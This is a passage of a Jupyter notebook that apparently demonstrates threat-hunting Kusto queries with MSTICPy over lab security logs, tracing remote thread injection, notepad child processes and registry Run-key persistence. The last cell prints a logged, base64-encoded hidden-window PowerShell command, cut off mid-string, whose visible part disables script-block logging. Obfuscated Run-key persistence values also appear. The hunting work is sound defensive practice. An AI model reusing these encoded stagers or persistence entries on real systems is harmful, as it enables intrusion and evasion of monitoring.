   "cell_type": "code",
   "execution_count": 9,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>SourceImage</th>\n",
       "      <th>TargetImage</th>\n",
       "      <th>Count</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe</td>\n",
       "      <td>C:\\Windows\\System32\\notepad.exe</td>\n",
       "      <td>89</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>C:\\Windows\\System32\\dwm.exe</td>\n",
       "      <td>C:\\Windows\\System32\\csrss.exe</td>\n",
       "      <td>3</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>C:\\Windows\\System32\\wbem\\WmiPrvSE.exe</td>\n",
       "      <td>C:\\Windows\\System32\\notepad.exe</td>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>C:\\Program Files\\Internet Explorer\\iexplore.exe</td>\n",
       "      <td>&amp;lt;unknown process&amp;gt;</td>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>C:\\Windows\\System32\\wuauclt.exe</td>\n",
       "      <td>&amp;lt;unknown process&amp;gt;</td>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                 SourceImage  \\\n",
       "0  C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe   \n",
       "1                                C:\\Windows\\System32\\dwm.exe   \n",
       "2                      C:\\Windows\\System32\\wbem\\WmiPrvSE.exe   \n",
       "3            C:\\Program Files\\Internet Explorer\\iexplore.exe   \n",
       "4                            C:\\Windows\\System32\\wuauclt.exe   \n",
       "\n",
       "                       TargetImage  Count  \n",
       "0  C:\\Windows\\System32\\notepad.exe     89  \n",
       "1    C:\\Windows\\System32\\csrss.exe      3  \n",
       "2  C:\\Windows\\System32\\notepad.exe      1  \n",
       "3          &lt;unknown process&gt;      1  \n",
       "4          &lt;unknown process&gt;      1  "
      ]
     },
     "execution_count": 9,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# csrss.exe creates a lot of remote threads, so let's filter that:\n",
    "\n",
    "remote_process_creations = kusto_prov.exec_query(f\"\"\"\n",
    "    Event8\n",
    "    | where SourceImage !has \"csrss.exe\"\n",
    "    | summarize Count=count() by SourceImage, TargetImage\n",
    "    | order by Count desc\n",
    "\"\"\")\n",
    "\n",
    "remote_process_creations.head()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Timestamp</th>\n",
       "      <th>Hostname</th>\n",
       "      <th>SourceProcessId</th>\n",
       "      <th>SourceImage</th>\n",
       "      <th>TargetProcessId</th>\n",
       "      <th>TargetImage</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>2020-10-23 03:12:04.474000+00:00</td>\n",
       "      <td>WORKSTATION5</td>\n",
       "      <td>8972</td>\n",
       "      <td>C:\\Users\\wardog\\Desktop\\PurpleSharp.exe</td>\n",
       "      <td>9908</td>\n",
       "      <td>C:\\Windows\\System32\\notepad.exe</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                         Timestamp      Hostname SourceProcessId  \\\n",
       "0 2020-10-23 03:12:04.474000+00:00  WORKSTATION5            8972   \n",
       "\n",
       "                               SourceImage TargetProcessId  \\\n",
       "0  C:\\Users\\wardog\\Desktop\\PurpleSharp.exe            9908   \n",
       "\n",
       "                       TargetImage  \n",
       "0  C:\\Windows\\System32\\notepad.exe  "
      ]
     },
     "execution_count": 10,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Now, consider \"PurpleSharp.exe\", which looks interesting:\n",
    "\n",
    "remote_process_creations = kusto_prov.exec_query(f\"\"\"\n",
    "    Event8\n",
    "    | where SourceImage has \"PurpleSharp.exe\"\n",
    "    | take 5\n",
    "    | project Timestamp, Hostname, SourceProcessId, SourceImage, TargetProcessId, TargetImage\n",
    "\"\"\")\n",
    "\n",
    "remote_process_creations.head()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Timestamp</th>\n",
       "      <th>Hostname</th>\n",
       "      <th>ParentProcessId</th>\n",
       "      <th>ProcessId</th>\n",
       "      <th>Image</th>\n",
       "      <th>CommandLine</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>2020-10-23 03:12:04.930000+00:00</td>\n",
       "      <td>WORKSTATION5</td>\n",
       "      <td>9908.0</td>\n",
       "      <td>5232</td>\n",
       "      <td>C:\\Windows\\System32\\PING.EXE</td>\n",
       "      <td>\"C:\\Windows\\System32\\ping.exe\" 127.0.0.1 -n 10</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                         Timestamp      Hostname  ParentProcessId ProcessId  \\\n",
       "0 2020-10-23 03:12:04.930000+00:00  WORKSTATION5           9908.0      5232   \n",
       "\n",
       "                          Image  \\\n",
       "0  C:\\Windows\\System32\\PING.EXE   \n",
       "\n",
       "                                       CommandLine  \n",
       "0  \"C:\\Windows\\System32\\ping.exe\" 127.0.0.1 -n 10   "
      ]
     },
     "execution_count": 11,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Now, for the first child process (notepad.exe), retrieve any sub-processes that it itself created (it's not usual for Notepad to create children!)\n",
    "\n",
    "target_timestamp, target_hostname, target_processid = (\n",
    "    remote_process_creations.iloc[0].Timestamp,\n",
    "    remote_process_creations.iloc[0].Hostname,\n",
    "    remote_process_creations.iloc[0].TargetProcessId\n",
    ")\n",
    "\n",
    "target_timestamp_range = (target_timestamp.isoformat(), (target_timestamp + timedelta(seconds=60)).isoformat())\n",
    "\n",
    "child_process_image_loads = kusto_prov.exec_query(f\"\"\"\n",
    "    Event1\n",
    "    | where Timestamp >= datetime({target_timestamp_range[0]}) and Timestamp < datetime({target_timestamp_range[1]})\n",
    "    | where Hostname == \"{target_hostname}\"\n",
    "    | where ParentProcessId == {target_processid}\n",
    "    | order by Timestamp asc\n",
    "    | project Timestamp, Hostname, ParentProcessId, ProcessId, Image, CommandLine\n",
    "\"\"\")\n",
    "\n",
    "child_process_image_loads.head()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Example - Custom Queries in YAML"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Connecting... connected\n"
     ]
    }
   ],
   "source": [
    "query_yaml = f\"\"\"\n",
    "metadata:\n",
    "    version: 1\n",
    "    description: Kusto Queries\n",
    "    data_environments: [Kusto]\n",
    "    data_families: [demo.{KUSTO_DATABASE}]\n",
    "    cluster: https://{KUSTO_CLUSTER}.kusto.windows.net\n",
    "    tags: [\"user\"]\n",
    "defaults:\n",
    "    parameters:\n",
    "        start:\n",
    "            description: Query start time\n",
    "            type: datetime\n",
    "            default: 2020-01-01T00:00:00Z\n",
    "        end:\n",
    "            description: Query end time\n",
    "            type: datetime\n",
    "            default: 2021-12-31T23:59:59Z\n",
    "sources:\n",
    "    get_hosts:\n",
    "        description: List unique hosts seen creating processes within the time range\n",
    "        args:\n",
    "            query: '\n",
    "                Event1\n",
    "                | where Timestamp >= datetime({{start}}) and Timestamp < datetime({{end}})\n",
    "                | summarize EventCount=count() by Hostname\n",
    "            '\n",
    "\"\"\"\n",
    "\n",
    "try:\n",
    "    query_yaml_path = os.path.join(kusto_query_path, 'query_1.yaml')\n",
    "    with open(query_yaml_path, 'w') as f:\n",
    "        f.write(query_yaml)\n",
    "\n",
    "    # Re-instantiating causes our new query to be loaded.\n",
    "    kusto_prov = QueryProvider('Kusto')\n",
    "    kusto_prov.connect(cluster=KUSTO_CLUSTER, database=KUSTO_DATABASE)\n",
    "finally:\n",
    "    os.unlink(query_yaml_path)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "['demo.MsticPyKustoDemo.get_hosts']"
      ]
     },
     "execution_count": 13,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# We can now list our configured query\n",
    "\n",
    "kusto_prov.list_queries()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Hostname</th>\n",
       "      <th>EventCount</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>MORDORDC.mordor.local</td>\n",
       "      <td>13</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>WORKSTATION6.mordor.local</td>\n",
       "      <td>4</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>WORKSTATION5.mordor.local</td>\n",
       "      <td>10</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>WORKSTATION5.theshire.local</td>\n",
       "      <td>798</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>MORDORDC.theshire.local</td>\n",
       "      <td>43</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>5</th>\n",
       "      <td>WORKSTATION6.theshire.local</td>\n",
       "      <td>232</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>6</th>\n",
       "      <td>WORKSTATION5</td>\n",
       "      <td>119</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>7</th>\n",
       "      <td>WORKSTATION7.theshire.local</td>\n",
       "      <td>7</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>8</th>\n",
       "      <td>MXS01.azsentinel.local</td>\n",
       "      <td>13</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                      Hostname  EventCount\n",
       "0        MORDORDC.mordor.local          13\n",
       "1    WORKSTATION6.mordor.local           4\n",
       "2    WORKSTATION5.mordor.local          10\n",
       "3  WORKSTATION5.theshire.local         798\n",
       "4      MORDORDC.theshire.local          43\n",
       "5  WORKSTATION6.theshire.local         232\n",
       "6                 WORKSTATION5         119\n",
       "7  WORKSTATION7.theshire.local           7\n",
       "8       MXS01.azsentinel.local          13"
      ]
     },
     "execution_count": 14,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# And execute the query\n",
    "\n",
    "kusto_prov.demo.MsticPyKustoDemo.get_hosts()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Hostname</th>\n",
       "      <th>EventCount</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>WORKSTATION5.theshire.local</td>\n",
       "      <td>16</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>MORDORDC.theshire.local</td>\n",
       "      <td>13</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>WORKSTATION6.theshire.local</td>\n",
       "      <td>15</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                      Hostname  EventCount\n",
       "0  WORKSTATION5.theshire.local          16\n",
       "1      MORDORDC.theshire.local          13\n",
       "2  WORKSTATION6.theshire.local          15"
      ]
     },
     "execution_count": 15,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Alternatively, override the start and end parameters to run the query \n",
    "# over a different time window\n",
    "\n",
    "kusto_prov.demo.MsticPyKustoDemo.get_hosts(\n",
    "    start=\"2020-08-01T00:00:00Z\",\n",
    "    end=\"2020-08-31T23:59:59Z\"\n",
    ")"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Query:  get_hosts\n",
      "Data source:  Kusto\n",
      "List unique hosts seen creating processes within the time range\n",
      "\n",
      "Parameters\n",
      "----------\n",
      "end: datetime (optional)\n",
      "    Query end time\n",
      "    (default value is: 2021-12-31 23:59:59+00:00)\n",
      "start: datetime (optional)\n",
      "    Query start time\n",
      "    (default value is: 2020-01-01 00:00:00+00:00)\n",
      "Query:\n",
      " Event1 | where Timestamp >= datetime({start}) and Timestamp < datetime({end}) | summarize EventCount=count() by Hostname \n"
     ]
    }
   ],
   "source": [
    "# If you need help with a query, pass the parameter '?':\n",
    "\n",
    "kusto_prov.demo.MsticPyKustoDemo.get_hosts('?')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Another Example"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 17,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Connecting... connected\n"
     ]
    }
   ],
   "source": [
    "# Note - this is a regex & format string.\n",
    "# Within this, \\'s are \\'s (we don't need to write \\\\ to get a single backslash), and so\n",
    "# \\\\'s are \\\\.\n",
    "# We need \\\\'s within Kusto queries, because these are passed to Kusto's KQL compiler\n",
    "# as a string, and Kusto needs \\'s to be escaped.\n",
    "\n",
    "query_yaml = rf\"\"\"\n",
    "metadata:\n",
    "    version: 1\n",
    "    description: Kusto Queries\n",
    "    data_environments: [Kusto]\n",
    "    data_families: [demo.{KUSTO_DATABASE}]\n",
    "    cluster: https://{KUSTO_CLUSTER}.kusto.windows.net\n",
    "    tags: [\"user\"]\n",
    "defaults:\n",
    "    parameters:\n",
    "        start:\n",
    "            description: Query start time\n",
    "            type: datetime\n",
    "            default: 2020-01-01T00:00:00Z\n",
    "        end:\n",
    "            description: Query end time\n",
    "            type: datetime\n",
    "            default: 2021-12-31T23:59:59Z\n",
    "sources:\n",
    "    get_reg_asep_candidates:\n",
    "        description: Find potential registry ASEP writes\n",
    "        args:\n",
    "            query: '\n",
    "                Event13\n",
    "                | where Timestamp >= datetime({{start}}) and Timestamp < datetime({{end}})\n",
    "                | parse kind=regex Message with * \"EventType:\\\\s\" RegistryEventType \"\\\\r\\\\n\"\n",
    "                | where RegistryEventType == \"SetValue\"\n",
    "                | where TargetObject has \"Windows\\\\CurrentVersion\\\\Run\"\n",
    "                | project Timestamp, ProcessId, Image, RegistryEventType, TargetObject, Details\n",
    "                | order by Timestamp asc\n",
    "            '\n",
    "    get_process:\n",
    "        description: Find process creation event for given process ID\n",
    "        args:\n",
    "            query: '\n",
    "                Event1\n",
    "                | where Timestamp >= datetime({{start}}) and Timestamp < datetime({{end}})\n",
    "                | where ProcessId == {{process_id}}\n",
    "                | project Timestamp, ParentProcessId, Image, CommandLine\n",
    "                | order by Timestamp asc\n",
    "            '\n",
    "        parameters:\n",
    "            process_id:\n",
    "                description: Process ID\n",
    "                type: int\n",
    "\"\"\"\n",
    "\n",
    "try:\n",
    "    query_yaml_path = os.path.join(kusto_query_path, 'query_2.yaml')\n",
    "    with open(query_yaml_path, 'w') as f:\n",
    "        f.write(query_yaml)\n",
    "\n",
    "    # Re-instantiating causes our new query to be loaded.\n",
    "    kusto_prov = QueryProvider('Kusto')\n",
    "    kusto_prov.connect(cluster=KUSTO_CLUSTER, database=KUSTO_DATABASE)\n",
    "finally:\n",
    "    os.unlink(query_yaml_path)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 18,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Timestamp</th>\n",
       "      <th>ProcessId</th>\n",
       "      <th>Image</th>\n",
       "      <th>RegistryEventType</th>\n",
       "      <th>TargetObject</th>\n",
       "      <th>Details</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>2020-07-22 04:19:05.132000+00:00</td>\n",
       "      <td>9076</td>\n",
       "      <td>C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe</td>\n",
       "      <td>SetValue</td>\n",
       "      <td>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater</td>\n",
       "      <td>\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=$((gp HKLM:SOFTWARE\\Microsoft...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>2020-09-04 07:06:22.490000+00:00</td>\n",
       "      <td>5376</td>\n",
       "      <td>C:\\windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe</td>\n",
       "      <td>SetValue</td>\n",
       "      <td>HKU\\S-1-5-21-3125456671-949036322-3048627137-1104\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\...</td>\n",
       "      <td>\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=$((gp HKCU:Software\\Microsoft...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>2020-09-04 07:09:05.126000+00:00</td>\n",
       "      <td>3200</td>\n",
       "      <td>C:\\Program Files\\Windows Defender\\MsMpEng.exe</td>\n",
       "      <td>SetValue</td>\n",
       "      <td>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\WindowsDefender</td>\n",
       "      <td>\"%%ProgramFiles%%\\Windows Defender\\MSASCuiL.exe\"</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>2020-09-04 20:45:18.639000+00:00</td>\n",
       "      <td>3176</td>\n",
       "      <td>C:\\Program Files\\Windows Defender\\MsMpEng.exe</td>\n",
       "      <td>SetValue</td>\n",
       "      <td>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\WindowsDefender</td>\n",
       "      <td>\"%%ProgramFiles%%\\Windows Defender\\MSASCuiL.exe\"</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                         Timestamp ProcessId  \\\n",
       "0 2020-07-22 04:19:05.132000+00:00      9076   \n",
       "1 2020-09-04 07:06:22.490000+00:00      5376   \n",
       "2 2020-09-04 07:09:05.126000+00:00      3200   \n",
       "3 2020-09-04 20:45:18.639000+00:00      3176   \n",
       "\n",
       "                                                       Image  \\\n",
       "0  C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe   \n",
       "1  C:\\windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe   \n",
       "2              C:\\Program Files\\Windows Defender\\MsMpEng.exe   \n",
       "3              C:\\Program Files\\Windows Defender\\MsMpEng.exe   \n",
       "\n",
       "  RegistryEventType  \\\n",
       "0          SetValue   \n",
       "1          SetValue   \n",
       "2          SetValue   \n",
       "3          SetValue   \n",
       "\n",
       "                                                                                          TargetObject  \\\n",
       "0                                           HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater   \n",
       "1  HKU\\S-1-5-21-3125456671-949036322-3048627137-1104\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\...   \n",
       "2                                   HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\WindowsDefender   \n",
       "3                                   HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\WindowsDefender   \n",
       "\n",
       "                                                                                               Details  \n",
       "0  \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=$((gp HKLM:SOFTWARE\\Microsoft...  \n",
       "1  \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=$((gp HKCU:Software\\Microsoft...  \n",
       "2                                                     \"%%ProgramFiles%%\\Windows Defender\\MSASCuiL.exe\"  \n",
       "3                                                     \"%%ProgramFiles%%\\Windows Defender\\MSASCuiL.exe\"  "
      ]
     },
     "execution_count": 18,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Find potential candidates for an ASEP registry entry being created\n",
    "\n",
    "kusto_prov.demo.MsticPyKustoDemo.get_reg_asep_candidates()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 19,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Timestamp</th>\n",
       "      <th>ParentProcessId</th>\n",
       "      <th>Image</th>\n",
       "      <th>CommandLine</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>2020-07-22 03:27:54.604000+00:00</td>\n",
       "      <td>9384.0</td>\n",
       "      <td>C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe</td>\n",
       "      <td>\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -noP -sta -w 1 -enc  SQBGACgAJABQAFM...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                         Timestamp  ParentProcessId  \\\n",
       "0 2020-07-22 03:27:54.604000+00:00           9384.0   \n",
       "\n",
       "                                                       Image  \\\n",
       "0  C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe   \n",
       "\n",
       "                                                                                           CommandLine  \n",
       "0  \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -noP -sta -w 1 -enc  SQBGACgAJABQAFM...  "
      ]
     },
     "execution_count": 19,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Lookup the process creation event for the first candidate process returned\n",
    "\n",
    "proc_record = kusto_prov.demo.MsticPyKustoDemo.get_process(process_id=9076)\n",
    "proc_record.head()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 20,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVgBFAHIAcwBJAG8ATgBUAGEAQgBMAGUALgBQAFMAVgBFAFIAUwBJAE8AbgAuAE0AQQBKAG8AUgAgAC0ARwBlACAAMwApAHsAJAA1ADcAYQBmADAAPQBbAHIAZQBGAF0ALgBBAHMAUwBFAE0AQgBsAFkALgBHAEUAdABUAHkAUABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AVQB0AGkAbABzACcAKQAuACIARwBFAFQARgBJAGUAYABMAGQAIgAoACcAYwBhAGMAaABlAGQARwByAG8AdQBwAFAAbwBsAGkAYwB5AFMAZQB0AHQAaQBuAGcAcwAnACwAJwBOACcAKwAnAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQA7AEkAZgAoACQANQA3AGEAZgAwACkAewAkADQAOABhAGMANgA9ACQANQA3AEEAZgAwAC4ARwBFAHQAVgBhAEwAdQBlACgAJABuAHUATABsACkAOwBJAGYAKAAkADQAOABBAGMANgBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdACkAewAkADQAOABBAGMANgBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJAA0ADgAQQBjADYAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnAF0APQAwAH0AJAB2AGEATAA9AFsAQwBvAGwATABFAEMAVABpAE8ATgBzAC4ARwBlAE4ARQByAGkAYwAuAEQAaQBjAFQAaQBPAG4AYQByAFkAWwBzAHQAUgBpAE4ARwAsAFMAWQBTAFQAZQBNAC4ATwBCAGoAZQBjAHQAXQBdADoAOgBuAEUAVwAoACkAOwAkAFYAQQBMAC4AQQBEAEQAKAAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcALAAwACkAOwAkAHYAYQBMAC4AQQBkAGQAKAAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAbABvAGMAawBJAG4AdgBvAGMAYQB0AGkAbwBuAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQANAA4AEEAYwA2AFsAJwBIAEsARQBZAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQBcAFMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFAAbwB3AGUAcgBTAGgAZQBsAGwAXABTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAkAFYAQQBsAH0ARQBMAHMAZQB7AFsAUwBDAFIASQBwAHQAQgBsAE8AYwBLAF0ALgAiAEcAZQB0AEYAaQBlAGAATABkACIAKAAnAHMAaQBnAG4AYQB0AHUAcgBlAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdABWAEEATABVAEUAKAAkAE4AdQBsAEwALAAoAE4ARQBXAC0ATwBCAEoARQBDAFQAIABDAG8ATABsAGUAYwB0AEkATwBuAFMALgBHAEUATgBFAFIAaQBDAC4ASABBA